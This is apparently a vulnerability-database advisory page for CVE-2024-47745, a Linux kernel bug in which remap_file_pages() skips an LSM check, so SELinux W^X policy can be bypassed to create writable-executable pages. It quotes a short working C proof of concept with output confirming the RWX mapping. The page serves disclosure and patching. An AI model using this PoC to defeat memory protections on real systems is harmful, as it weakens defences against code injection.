CVE-2024-47745 mm: call the security_mmap_file() LSM hook in remap_file_pages()
Local attackers can bypass SELinux W^X policies to execute code on writable memory pages via the remap_file_pages syscall.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Local or same network only
- Victim action needed
- Not needed
- Fix
- Available
What is CVE-2024-47745?
CVE-2024-47745 is a high-severity vulnerability in Debian Debian Linux, published on 21 Oct 2024. It can only be exploited from the same machine or local network, with no action from the victim.
Official description
In the Linux kernel, the following vulnerability has been resolved:
mm: call the security_mmap_file() LSM hook in remap_file_pages()
The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.
So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.
The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].
The PoC:
$ cat > test.c
int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }
$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
[PM: subject line tweaks]
Weakness: CWE-670
Which versions are affected by CVE-2024-47745?
It affects 2 products.
Products include Debian Debian Linux, Linux kernel.
How do I fix CVE-2024-47745?
Apply the vendor's patch.
Is CVE-2024-47745 being exploited?
There is no known exploitation of CVE-2024-47745 in the wild and no public exploit code.
Other vulnerabilities in Debian Debian Linux
Sources
Also known as AZL-50713, AZL-50975, BELL-CVE-2024-47745, DEBIAN-CVE-2024-47745, GHSA-qpxg-4f92-ww23, ROOT-OS-DEBIAN-11-CVE-2024-47745 and 2 more.